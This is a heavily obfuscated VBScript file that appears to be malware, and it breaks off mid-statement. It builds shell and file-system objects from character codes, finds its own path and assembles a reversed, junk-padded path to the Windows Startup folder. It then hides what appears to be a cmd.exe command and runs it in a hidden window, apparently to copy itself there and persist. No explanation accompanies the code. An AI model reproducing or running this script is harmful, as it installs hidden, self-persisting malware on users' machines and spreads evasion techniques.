WEEFRCHIMRBZQVMIMZNELERSYSEPNEXGVUTMWXYVIFWOYUYAMSDZBWIRMMGZYSVIUVDVBALOBRVGHDTDUDCUAXEYMCZKQZXQJNTDRCZMGPYKBBJJSCEVPAIWQEJZABYBUEWUJQMSEQOLYUXKSQSNVCBIEXMMSALFQXPXFPZBPMRZMXXWHZGJJKGSDOPMDAZDEJUBFAF = SCASARCPKVFPHAJGTKUPECXOEESSYDKGMILBQAJSVANUDYRQOHMOXSVPFLNVYKQGLZDYOHQTBCTEODLGNCEQQWITNVWEMNTLJHJEUTBHRTMVYQACAHIWGAPPQJKTKLHNIIUHTHLTAWYXJNUWUUEEFXFJRTNLIIWGLYNQWSITWPVJBSFCOOYQHDIKDLQZTZKRASLKAEA
End Function
On Error Resume Next
dZWWCDmEhvgdgYXRUMOalgZTPzVdqzChqClDZMtqLBlagLCkOlegtMyvGCqDdqCijqGPdPpzPnVqPjrUqhXyUunSdUgWyakXwCPyRhfSWfmNzaSPsjBUwggPfDgkYUjfDxCgvgWLPEbPRahesPqPYLqywzgUSUuCWdvaDqRMgqvZPbDwhWqWPzOWPEnvhGUZhZtzNsw = Chr(112)&Chr(117)&Chr(116)&Chr(114)&Chr(97)&Chr(116)&Chr(83)
Escola = dZWWCDmEhvgdgYXRUMOalgZTPzVdqzChqClDZMtqLBlagLCkOlegtMyvGCqDdqCijqGPdPpzPnVqPjrUqhXyUunSdUgWyakXwCPyRhfSWfmNzaSPsjBUwggPfDgkYUjfDxCgvgWLPEbPRahesPqPYLqywzgUSUuCWdvaDqRMgqvZPbDwhWqWPzOWPEnvhGUZhZtzNsw
Escola = eKRiX(eKRiX(eKRiX(Escola)))
GGIuGUHvGUktZGLUtsqaWSWUGUmMcJhjthDSGsDZLKPjUKUUGDWSSnWCjcLkLBGIuxvGNInWGrmcLYiowGtWGXHqGGUOqtYtPcDKajTUoTWTSPqynWGTaZeDTkSUGSWUUbeNUNtsGvGDUbUXnOHtLhBbPKZGqiXGIiGbSuLnkuChDGPvwuBtGSGcNvrCjLiWNGSKNsx = "hcQ"
NQNQZBHQRKVOZVTVGQQCXHY
WLKHMWWSROBDHWKJFOPYLRXNGFVHXWMKYCKRVKPVVRQPLTRLPYR
if (CInt(HgNH) < 1) and true then
xtKbLxxCPDYWSvUmebchcqwOvcwZhoUOvUsGtbhpdtengKIwIcNqhOaiNflshlRmANNvZpYovMwSkBWUNOUaQXMKxQgKknBURfeaNOiKUixWGDKvDAtUnppeiYqwveBNxcLMDMUOvCKmcDbZuqvlvXlaRqjQKDGLihZUGhwOYhiJmKWOOblUvGIzmCMDOjDwPthqWuO= Chr(87)&Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(46)&Chr(83)&Chr(104)&Chr(101)&Chr(108)&Chr(108)
wCxNsMooUcphCoLdphUcJpDWdtSUUuooOoDnChlhWozogGBHKJvplgIdPpzRRzcuZrPdDDhudKSCWOKvroiIbSKNwbgxQoOicpeIOofNvfoznGNdCZoPiWWefPpHopOvMGscccYZdoNXGGxUiyOHoKzIcJObNvxsJRvYnUWgpUdgXNhnTNzYdnKwXoKcoDvDUClJzin = Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(105)&Chr(110)&Chr(103)&Chr(46)&Chr(70)&Chr(105)&Chr(108)&Chr(101)&Chr(83)&Chr(121)&Chr(115)&Chr(116)&Chr(101)&Chr(109)&Chr(79)&Chr(98)&Chr(106)&Chr(101)&Chr(99)&Chr(116)
Set fcKAlcyDzMTXxehGWWYUsTeRQUGKUiIWLIDWcWMWeBcNDcGmNDqTPYHCxygwadrNaZgQKBOHQGGUfIwuAzbHONgvfODNaMIbGyCPkWPeuPUyWMvmUDlWCxGCPwTmeCDkcSkWMWgSQDuCoULaUZYWhXdSGXTOvlNlKOOUWTrYTTCWCuNLSAdgQWNDqDGCWolewcPXKcZo = CreateObject(xtKbLxxCPDYWSvUmebchcqwOvcwZhoUOvUsGtbhpdtengKIwIcNqhOaiNflshlRmANNvZpYovMwSkBWUNOUaQXMKxQgKknBURfeaNOiKUixWGDKvDAtUnppeiYqwveBNxcLMDMUOvCKmcDbZuqvlvXlaRqjQKDGLihZUGhwOYhiJmKWOOblUvGIzmCMDOjDwPthqWuO)
Set PAHeYQNlwbNwKcuRcxTRnIqUYPGUzYlcLcXqjawQLGKwqLxWjHzLGczKwceDlwzfUNRRKcWPRAKLcTxcfWIwTPUGPlLqqGPfRyRwRLGzHwRAKCcNbupRUbHGuwWiawLcMHbzXGwSYCcKxLAKKwzwGzzKlKWqLLLlMGLLPGsbBMGWLUCwPIClWeGcccbUcQLcwPRLCUc = CreateObject(wCxNsMooUcphCoLdphUcJpDWdtSUUuooOoDnChlhWozogGBHKJvplgIdPpzRRzcuZrPdDDhudKSCWOKvroiIbSKNwbgxQoOicpeIOofNvfoznGNdCZoPiWWefPpHopOvMGscccYZdoNXGGxUiyOHoKzIcJObNvxsJRvYnUWgpUdgXNhnTNzYdnKwXoKcoDvDUClJzin)
fcKAlcyDzMTXxehGWWYUsTeRQUGKUiIWLIDWcWMWeBcNDcGmNDqTPYHCxygwadrNaZgQKBOHQGGUfIwuAzbHONgvfODNaMIbGyCPkWPeuPUyWMvmUDlWCxGCPwTmeCDkcSkWMWgSQDuCoULaUZYWhXdSGXTOvlNlKOOUWTrYTTCWCuNLSAdgQWNDqDGCWolewcPXKcZ = PAHeYQNlwbNwKcuRcxTRnIqUYPGUzYlcLcXqjawQLGKwqLxWjHzLGczKwceDlwzfUNRRKcWPRAKLcTxcfWIwTPUGPlLqqGPfRyRwRLGzHwRAKCcNbupRUbHGuwWiawLcMHbzXGwSYCcKxLAKKwzwGzzKlKWqLLLlMGLLPGsbBMGWLUCwPIClWeGcccbUcQLcwPRLCUc.GetAbsolutePathName(WScript.ScriptFullName)
DGDLACCXYWWcDiBUgWKYDWGdGrRfWUeHpeMeGWzdQqURRNZKyMwWyuPTyDfgGHcezIlGKfMPGbRWcNrdPYXPtOPcDtRKjWNXCDdWcHLtdLDoedcamoAfODldLgWKiooeCWbOWOncGXudPcBBmWioBOHWCietchOADDZcerDuWrTnduoccLHnGeySfXbTHZhGPGyiKyU = fcKAlcyDzMTXxehGWWYUsTeRQUGKUiIWLIDWcWMWeBcNDcGmNDqTPYHCxygwadrNaZgQKBOHQGGUfIwuAzbHONgvfODNaMIbGyCPkWPeuPUyWMvmUDlWCxGCPwTmeCDkcSkWMWgSQDuCoULaUZYWhXdSGXTOvlNlKOOUWTrYTTCWCuNLSAdgQWNDqDGCWolewcPXKcZ
PqdMcOUSUfwgUwAPQnOlLpcIWcUWcoWAqWLfqnkGAdtCgQMTPLPpRvDfPjnvhJvZcLAWcWPDWlUcxNPCKUeDLjxGPLgUpRNeAjKzHAMgCMUNfBGbNKcQjUZKMvpTwbKnOWWNfNewWStKlGUdNSWhAgJWAKfLGLjcdjKGfKWvwKfbKtUapMJeWfPOWSlfAxLcoqRKcRo34 = "}(@#4
@(((@(
nCIjsQXdOnoUsScwocmTdhgJJTYMeydnfdfPCcfXqfQuQOBcefbhRGSWaRNKuqGKUKKJQGfSJJYeCUOKWOtSnCWtnnQWRTUtaRAkPnpvKpgWPBtKhLsPysmApKhcSWLdQhvinicoJdSADPgLhaUXcnqhaCsntUCsIXcPPySGoyWGASOJtjqcJPerzdJWnhUgHCRCQPK = ")'sbv." + GGIuGUHvGUktZGLUtsqaWSWUGUmMcJhjthDSGsDZLKPjUKUUGDWSSnWCjcLkLBGIuxvGNInWGrmcLYiowGtWGXHqGGUOqtYtPcDKajTUoTWTSPqynWGTaZeDTkSUGSWUUbeNUNtsGvGDUbUXnOHtLhBbPKZGqiXGIiGbSuLnkuChDGPvwuBtGSGcNvrCjLiWNGSKNsx + " \pu}(@#4
@(((@(
^4tr}(@#4
@(((@(
^4atS\sm}(@#4
@(((@(
^4ar}(@#4
@(((@(
^4gor}(@#4
@(((@(
^4P\u}(@#4
@(((@(
^4neM"
nCIjsQXdOnoUsScwocmTdhgJJTYMeydnfdfPCcfXqfQuQOBcefbhRGSWaRNKuqGKUKKJQGfSJJYeCUOKWOtSnCWtnnQWRTUtaRAkPnpvKpgWPBtKhLsPysmApKhcSWLdQhvinicoJdSADPgLhaUXcnqhaCsntUCsIXcPPySGoyWGASOJtjqcJPerzdJWnhUgHCRCQPK = nCIjsQXdOnoUsScwocmTdhgJJTYMeydnfdfPCcfXqfQuQOBcefbhRGSWaRNKuqGKUKKJQGfSJJYeCUOKWOtSnCWtnnQWRTUtaRAkPnpvKpgWPBtKhLsPysmApKhcSWLdQhvinicoJdSADPgLhaUXcnqhaCsntUCsIXcPPySGoyWGASOJtjqcJPerzdJWnhUgHCRCQPK + " tra}(@#4
@(((@(
^4t}(@#4
@(((@(
^4S\s}(@#4
@(((@(
^4wo}(@#4
@(((@(
^4}(@#4
@(((@(
^4dniW\t}(@#4
@(((@(
^4}(@#4
@(((@(
^4fo}(@#4
@(((@(
^4so}(@#4
@(((@(
^4}(@#4
@(((@(
^4rci}(@#4
@(((@(
^4}(@#4
@(((@(
^4M\g}(@#4
@(((@(
^4n}(@#4
@(((@(
^4im}(@#4
@(((@(
^4}(@#4
@(((@(
^4aoR\a}(@#4
@(((@(
^4}(@#4
@(((@(
^4ta}(@#4
@(((@(
^4Dp}(@#4
@(((@(
^4pA\}(@#4
@(((@(
nCIjsQXdOnoUsScwocmTdhgJJTYMeydnfdfPCcfXqfQuQOBcefbhRGSWaRNKuqGKUKKJQGfSJJYeCUOKWOtSnCWtnnQWRTUtaRAkPnpvKpgWPBtKhLsPysmApKhcSWLdQhvinicoJdSADPgLhaUXcnqhaCsntUCsIXcPPySGoyWGASOJtjqcJPerzdJWnhUgHCRCQPK = WuyJQzSWDPkWwOXyYMpdOGDUwuNRKSlZJljCuMuWcTLweQBWLjiGnhUZxGSlQNWNWtUwGiZUwlNKUGdKaDpUOYWdWOeGHCGpnGDUpZZZKZIdCbdLWDQUQwODZlGWOkDKzDKdPdWWwWyDOoLWWkGkXoNDnGeOdLYQycZoCLChkLZKDymZfJNWwCLCZWlZZSLDLunGGOG(WuyJQzSWDPkWwOXyYMpdOGDUwuNRKSlZJljCuMuWcTLweQBWLjiGnhUZxGSlQNWNWtUwGiZUwlNKUGdKaDpUOYWdWOeGHCGpnGDUpZZZKZIdCbdLWDQUQwODZlGWOkDKzDKdPdWWwWyDOoLWWkGkXoNDnGeOdLYQycZoCLChkLZKDymZfJNWwCLCZWlZZSLDLunGGOG( nCIjsQXdOnoUsScwocmTdhgJJTYMeydnfdfPCcfXqfQuQOBcefbhRGSWaRNKuqGKUKKJQGfSJJYeCUOKWOtSnCWtnnQWRTUtaRAkPnpvKpgWPBtKhLsPysmApKhcSWLdQhvinicoJdSADPgLhaUXcnqhaCsntUCsIXcPPySGoyWGASOJtjqcJPerzdJWnhUgHCRCQPK , PqdMcOUSUfwgUwAPQnOlLpcIWcUWcoWAqWLfqnkGAdtCgQMTPLPpRvDfPjnvhJvZcLAWcWPDWlUcxNPCKUeDLjxGPLgUpRNeAjKzHAMgCMUNfBGbNKcQjUZKMvpTwbKnOWWNfNewWStKlGUdNSWhAgJWAKfLGLjcdjKGfKWvwKfbKtUapMJeWfPOWSlfAxLcoqRKcRo34 , cWDPzKAnCsQOYgk
gCJTDLOwHoSDtqiSpZPaUZRCUUWxtZHURHPUCZNqiDwaniALWPQhhYioDattvtcSZfPUzccZUeltWiaPfHJiiWeQLinJDscOcLliGUDQPDHGUOQUCiDNhtPlDCZLqMiQXTaUoUcxUwmUbTrxZfRoqAvTcTWiQhNDJbNTPsvYSsoRUDPIITtcUUWSUwvoULhbHChTGZP = "
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
gCJTDLOwHoSDtqiSpZPaUZRCUUWxtZHURHPUCZNqiDwaniALWPQhhYioDattvtcSZfPUzccZUeltWiaPfHJiiWeQLinJDscOcLliGUDQPDHGUOQUCiDNhtPlDCZLqMiQXTaUoUcxUwmUbTrxZfRoqAvTcTWiQhNDJbNTPsvYSsoRUDPIITtcUUWSUwvoULhbHChTGZP = gCJTDLOwHoSDtqiSpZPaUZRCUUWxtZHURHPUCZNqiDwaniALWPQhhYioDattvtcSZfPUzccZUeltWiaPfHJiiWeQLinJDscOcLliGUDQPDHGUOQUCiDNhtPlDCZLqMiQXTaUoUcxUwmUbTrxZfRoqAvTcTWiQhNDJbNTPsvYSsoRUDPIITtcUUWSUwvoULhbHChTGZP + "
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
gCJTDLOwHoSDtqiSpZPaUZRCUUWxtZHURHPUCZNqiDwaniALWPQhhYioDattvtcSZfPUzccZUeltWiaPfHJiiWeQLinJDscOcLliGUDQPDHGUOQUCiDNhtPlDCZLqMiQXTaUoUcxUwmUbTrxZfRoqAvTcTWiQhNDJbNTPsvYSsoRUDPIITtcUUWSUwvoULhbHChTGZP = gCJTDLOwHoSDtqiSpZPaUZRCUUWxtZHURHPUCZNqiDwaniALWPQhhYioDattvtcSZfPUzccZUeltWiaPfHJiiWeQLinJDscOcLliGUDQPDHGUOQUCiDNhtPlDCZLqMiQXTaUoUcxUwmUbTrxZfRoqAvTcTWiQhNDJbNTPsvYSsoRUDPIITtcUUWSUwvoULhbHChTGZP + fcKAlcyDzMTXxehGWWYUsTeRQUGKUiIWLIDWcWMWeBcNDcGmNDqTPYHCxygwadrNaZgQKBOHQGGUfIwuAzbHONgvfODNaMIbGyCPkWPeuPUyWMvmUDlWCxGCPwTmeCDkcSkWMWgSQDuCoULaUZYWhXdSGXTOvlNlKOOUWTrYTTCWCuNLSAdgQWNDqDGCWolewcPXKcZ + "',"
gCJTDLOwHoSDtqiSpZPaUZRCUUWxtZHURHPUCZNqiDwaniALWPQhhYioDattvtcSZfPUzccZUeltWiaPfHJiiWeQLinJDscOcLliGUDQPDHGUOQUCiDNhtPlDCZLqMiQXTaUoUcxUwmUbTrxZfRoqAvTcTWiQhNDJbNTPsvYSsoRUDPIITtcUUWSUwvoULhbHChTGZP = gCJTDLOwHoSDtqiSpZPaUZRCUUWxtZHURHPUCZNqiDwaniALWPQhhYioDattvtcSZfPUzccZUeltWiaPfHJiiWeQLinJDscOcLliGUDQPDHGUOQUCiDNhtPlDCZLqMiQXTaUoUcxUwmUbTrxZfRoqAvTcTWiQhNDJbNTPsvYSsoRUDPIITtcUUWSUwvoULhbHChTGZP + "'C
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
ers\'
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
(Gc$og
L@XeWf
(4+:4:(
+@^4@}@(#^
^(}^^44+
pNmiTYhTLsRbIKWPdvLOsRPcPfTGnnWgqWLdNvbGPAcTicCHWLGRSKNcXupUBPWeWKSPUtqNPJTnHZvukLTNOvOCpOiwaXZTRuWcmgqhuqWXdOCeIyTvXIDWqURHKKycYSckskUnPToWszlkINMfWpPSRGCOCyvTmuTzdcCKRccbWoRzTiPUPdWUYTJcgDyPZNSGUwI = nCIjsQXdOnoUsScwocmTdhgJJTYMeydnfdfPCcfXqfQuQOBcefbhRGSWaRNKuqGKUKKJQGfSJJYeCUOKWOtSnCWtnnQWRTUtaRAkPnpvKpgWPBtKhLsPysmApKhcSWLdQhvinicoJdSADPgLhaUXcnqhaCsntUCsIXcPPySGoyWGASOJtjqcJPerzdJWnhUgHCRCQPK
pNmiTYhTLsRbIKWPdvLOsRPcPfTGnnWgqWLdNvbGPAcTicCHWLGRSKNcXupUBPWeWKSPUtqNPJTnHZvukLTNOvOCpOiwaXZTRuWcmgqhuqWXdOCeIyTvXIDWqURHKKycYSckskUnPToWszlkINMfWpPSRGCOCyvTmuTzdcCKRccbWoRzTiPUPdWUYTJcgDyPZNSGUwI = eKRiX( _
pNmiTYhTLsRbIKWPdvLOsRPcPfTGnnWgqWLdNvbGPAcTicCHWLGRSKNcXupUBPWeWKSPUtqNPJTnHZvukLTNOvOCpOiwaXZTRuWcmgqhuqWXdOCeIyTvXIDWqURHKKycYSckskUnPToWszlkINMfWpPSRGCOCyvTmuTzdcCKRccbWoRzTiPUPdWUYTJcgDyPZNSGUwI)
gCJTDLOwHoSDtqiSpZPaUZRCUUWxtZHURHPUCZNqiDwaniALWPQhhYioDattvtcSZfPUzccZUeltWiaPfHJiiWeQLinJDscOcLliGUDQPDHGUOQUCiDNhtPlDCZLqMiQXTaUoUcxUwmUbTrxZfRoqAvTcTWiQhNDJbNTPsvYSsoRUDPIITtcUUWSUwvoULhbHChTGZP = WuyJQzSWDPkWwOXyYMpdOGDUwuNRKSlZJljCuMuWcTLweQBWLjiGnhUZxGSlQNWNWtUwGiZUwlNKUGdKaDpUOYWdWOeGHCGpnGDUpZZZKZIdCbdLWDQUQwODZlGWOkDKzDKdPdWWwWyDOoLWWkGkXoNDnGeOdLYQycZoCLChkLZKDymZfJNWwCLCZWlZZSLDLunGGOG( _
gCJTDLOwHoSDtqiSpZPaUZRCUUWxtZHURHPUCZNqiDwaniALWPQhhYioDattvtcSZfPUzccZUeltWiaPfHJiiWeQLinJDscOcLliGUDQPDHGUOQUCiDNhtPlDCZLqMiQXTaUoUcxUwmUbTrxZfRoqAvTcTWiQhNDJbNTPsvYSsoRUDPIITtcUUWSUwvoULhbHChTGZP + _
pNmiTYhTLsRbIKWPdvLOsRPcPfTGnnWgqWLdNvbGPAcTicCHWLGRSKNcXupUBPWeWKSPUtqNPJTnHZvukLTNOvOCpOiwaXZTRuWcmgqhuqWXdOCeIyTvXIDWqURHKKycYSckskUnPToWszlkINMfWpPSRGCOCyvTmuTzdcCKRccbWoRzTiPUPdWUYTJcgDyPZNSGUwI , _
(Gc$og
L@XeWf
w" + _
(4+:4:(
+@^4@}@(#^
^(}^^44+
WuyJQzSWDPkWwOXyYMpdOGDUwuNRKSlZJljCuMuWcTLweQBWLjiGnhUZxGSlQNWNWtUwGiZUwlNKUGdKaDpUOYWdWOeGHCGpnGDUpZZZKZIdCbdLWDQUQwODZlGWOkDKzDKdPdWWwWyDOoLWWkGkXoNDnGeOdLYQycZoCLChkLZKDymZfJNWwCLCZWlZZSLDLunGGOG(cWDPzKAnCsQOYgkDtaicMwcjqPUkGPSesSMcWaTLbJOytycrAMTwOAweeKfdhkBnbjPqKLAwqcUGCJccNCcwXccecXtNLfJcTKLrLeUccUPqczeLWyzOLYbLUdwrgbylKvQqsqltqnkLgOGUWcdmkBkvTvIXeRczDMCOcUDAQUeDLknYgPklqcArLnceeKRcAWOvKHv + "VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx","VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx",cWDPzKAnCsQOYgkDtaicMwcjqPUkGPSesSMcWaTLbJOytycrAMTwOAweeKfdhkBnbjPqKLAwqcUGCJccNCcwXccecXtNLfJcTKLrLeUccUPqczeLWyzOLYbLUdwrgbylKvQqsqltqnkLgOGUWcdmkBkvTvIXeRczDMCOcUDAQUeDLknYgPklqcArLnceeKRcAWOvKHv) )
PqdMcOUSUfwgUwAPQnOlLpcIWcUWcoWAqWLfqnkGAdtCgQMTPLPpRvDfPjnvhJvZcLAWcWPDWlUcxNPCKUeDLjxGPLgUpRNeAjKzHAMgCMUNfBGbNKcQjUZKMvpTwbKnOWWNfNewWStKlGUdNSWhAgJWAKfLGLjcdjKGfKWvwKfbKtUapMJeWfPOWSlfAxLcoqRKcRo = WuyJQzSWDPkWwOXyYMpdOGDUwuNRKSlZJljCuMuWcTLweQBWLjiGnhUZxGSlQNWNWtUwGiZUwlNKUGdKaDpUOYWdWOeGHCGpnGDUpZZZKZIdCbdLWDQUQwODZlGWOkDKzDKdPdWWwWyDOoLWWkGkXoNDnGeOdLYQycZoCLChkLZKDymZfJNWwCLCZWlZZSLDLunGGOG("cmUNXPrkQcvKUfzgUxMTcUNgHWZTcsKAvycvqTNTlswrOUUwPlmqOJOZRKPSOPTOSWxLJZWQbAZPBKKHPkLvORHnPWfHUOPNMmSkBRxywWkwDtTcWZOHrAUzBBwMglgNHONZSPKPTHZcLWNuzsJlcMgCTZSruHWQlrXNcuixwZUxKHWOiNAPOTZTmCWcwKyfQUvNOrtJZdUNXPrkQcvKUfzgUxMTcUNgHWZTcsKAvycvqTNTlswrOUUwPlmqOJOZRKPSOPTOSWxLJZWQbAZPBKKHPkLvORHnPWfHUOPNMmSkBRxywWkwDtTcWZOHrAUzBBwMglgNHONZSPKPTHZcLWNuzsJlcMgCTZSruHWQlrXNcuixwZUxKHWOiNAPOTZTmCWcwKyfQUvNOrtJZ.exUNXPrkQcvKUfzgUxMTcUNgHWZTcsKAvycvqTNTlswrOUUwPlmqOJOZRKPSOPTOSWxLJZWQbAZPBKKHPkLvORHnPWfHUOPNMmSkBRxywWkwDtTcWZOHrAUzBBwMglgNHONZSPKPTHZcLWNuzsJlcMgCTZSruHWQlrXNcuixwZUxKHWOiNAPOTZTmCWcwKyfQUvNOrtJZe /c pUNXPrkQcvKUf
fcKAlcyDzMTXxehGWWYUsTeRQUGKUiIWLIDWcWMWeBcNDcGmNDqTPYHCxygwadrNaZgQKBOHQGGUfIwuAzbHONgvfODNaMIbGyCPkWPeuPUyWMvmUDlWCxGCPwTmeCDkcSkWMWgSQDuCoULaUZYWhXdSGXTOvlNlKOOUWTrYTTCWCuNLSAdgQWNDqDGCWolewcPXKcZo.run PqdMcOUSUfwgUwAPQnOlLpcIWcUWcoWAqWLfqnkGAdtCgQMTPLPpRvDfPjnvhJvZcLAWcWPDWlUcxNPCKUeDLjxGPLgUpRNeAjKzHAMgCMUNfBGbNKcQjUZKMvpTwbKnOWWNfNewWStKlGUdNSWhAgJWAKfLGLjcdjKGfKWvwKfbKtUapMJeWfPOWSlfAxLcoqRKcRo, 0, true
end if
Function WuyJQzSWDPkWwOXyYMpdOGDUwuNRKSlZJljCuMuWcTLweQBWLjiGnhUZxGSlQNWNWtUwGiZUwlNKUGdKaDpUOYWdWOeGHCGpnGDUpZZZKZIdCbdLWDQUQwODZlGWOkDKzDKdPdWWwWyDOoLWWkGkXoNDnGeOdLYQycZoCLChkLZKDymZfJNWwCLCZWlZZSLDLunGGOG(MwlJtWQUZUbhbuKGjoMMcKsxcKvDNbCLqCdKwoDUKtQMYKWxPdKxCyKUDGMKuMOdtZscecTbcicNhBtiZZNKHbiLKHYNDfPiOWPKuLrLirIlKuLcBBtrLbzPruKxuSBKlHGxUxOucUncLipDgNquuhuHOnNHLBDtlLtipaqybaUscPpNdJMOcKPGcUcULKBzZwCnlgc,cUcsJBPhZUbPUDBHHANnrLsjBAGKnARtWRzAUAtDhJUnGhdBYzINNuJUcuQRlQJsWsJBAGlABUPnPSNUsZYJPyUUDPGYcelSJBTJPtiUUidqAUUBxSJcMUkTiULBDrSIWouIUIhWBhLcDXGKUCWcDWloJqIPUDtJcDvXBWSubWUscDBCcsQhBAYQchRUtDDQZUNqqUp,PaTQSdhSNTLMzDkOUbvYONGbWCLACUDUDDcCabDlzSUYOzzAScTUcKSThxHIcHdqeUMWvbJUWTDCsfgZUNGScvTTdcOGhAvsddLSSUaTZaUiCnTWCfSIQzfLanNADOfTOWxBTBYqWSLjGAGAneDQDacWdidcTCDSTGUAGZuKLZTGjPGGWQHYWCSmjSiTUdCpNaciina)
SXnHnwDDYNNWxPGKzzrfrUXZcLWcLyRPbRcYXzsZdjOxgbAuwrcUsWUcccgnHghypxccDhJycPWxHfScxPnUCAPjSCgnCxfnhcBURPGjcGDWYUjcspjXBPPBGKUuPzfcwHnlNlcqcDXMaUJcUsbXPUgUhAXCjXCnGHccYLIWNLcLMXSUjHgccYwUMDPNPpXXYXsAWUU = Chr(82)&Chr(101)&Chr(112)&Chr(108)&Chr(97)&Chr(99)&Chr(101)
ciZkMBKAtowBkPRgOKufojUGIJKOnLkQpkOJiKciLMcfqLsUTOUDKaGoDaUyRUwuNDOILKaLIaanrchKDtOGBkanWBqODKSbwBUGSQInKIvBJInIDcMmikpUIcjUPvcUNqaLoLGOIAXPLnfOYcpKPfRqwueBnjcMZLgnWcZawcoUPJWyWkUGIJTDPAUoQWjmtiKuBYr = "WuyJQzSWDPkWwOXyYMpdOGDUwuNRKSlZJljCuMuWcTLweQBWLjiGnhUZxGSlQNWNWtUwGiZUwlNKUGdKaDpUOYWdWOeGHCGpnGDUpZZZKZIdCbdLWDQUQwODZlGWOkDKzDKdPdWWwWyDOoLWWkGkXoNDnGeOdLYQycZoCLChkLZKDymZfJNWwCLCZWlZZSLDLunGGOG = "
ciZkMBKAtowBkPRgOKufojUGIJKOnLkQpkOJiKciLMcfqLsUTOUDKaGoDaUyRUwuNDOILKaLIaanrchKDtOGBkanWBqODKSbwBUGSQInKIvBJInIDcMmikpUIcjUPvcUNqaLoLGOIAXPLnfOYcpKPfRqwueBnjcMZLgnWcZawcoUPJWyWkUGIJTDPAUoQWjmtiKuBYr = ciZkMBKAtowBkPRgOKufojUGIJKOnLkQpkOJiKciLMcfqLsUTOUDKaGoDaUyRUwuNDOILKaLIaanrchKDtOGBkanWBqODKSbwBUGSQInKIvBJInIDcMmikpUIcjUPvcUNqaLoLGOIAXPLnfOYcpKPfRqwueBnjcMZLgnWcZawcoUPJWyWkUGIJTDPAUoQWjmtiKuBYr + SXnHnwDDYNNWxPGKzzrfrUXZcLWcLyRPbRcYXzsZdjOxgbAuwrcUsWUcccgnHghypxccDhJycPWxHfScxPnUCAPjSCgnCxfnhcBURPGjcGDWYUjcspjXBPPBGKUuPzfcwHnlNlcqcDXMaUJcUsbXPUgUhAXCjXCnGHccYLIWNLcLMXSUjHgccYwUMDPNPpXXYXsAWUU
ciZkMBKAtowBkPRgOKufojUGIJKOnLkQpkOJiKciLMcfqLsUTOUDKaGoDaUyRUwuNDOILKaLIaanrchKDtOGBkanWBqODKSbwBUGSQInKIvBJInIDcMmikpUIcjUPvcUNqaLoLGOIAXPLnfOYcpKPfRqwueBnjcMZLgnWcZawcoUPJWyWkUGIJTDPAUoQWjmtiKuBYr = ciZkMBKAtowBkPRgOKufojUGIJKOnLkQpkOJiKciLMcfqLsUTOUDKaGoDaUyRUwuNDOILKaLIaanrchKDtOGBkanWBqODKSbwBUGSQInKIvBJInIDcMmikpUIcjUPvcUNqaLoLGOIAXPLnfOYcpKPfRqwueBnjcMZLgnWcZawcoUPJWyWkUGIJTDPAUoQWjmtiKuBYr + 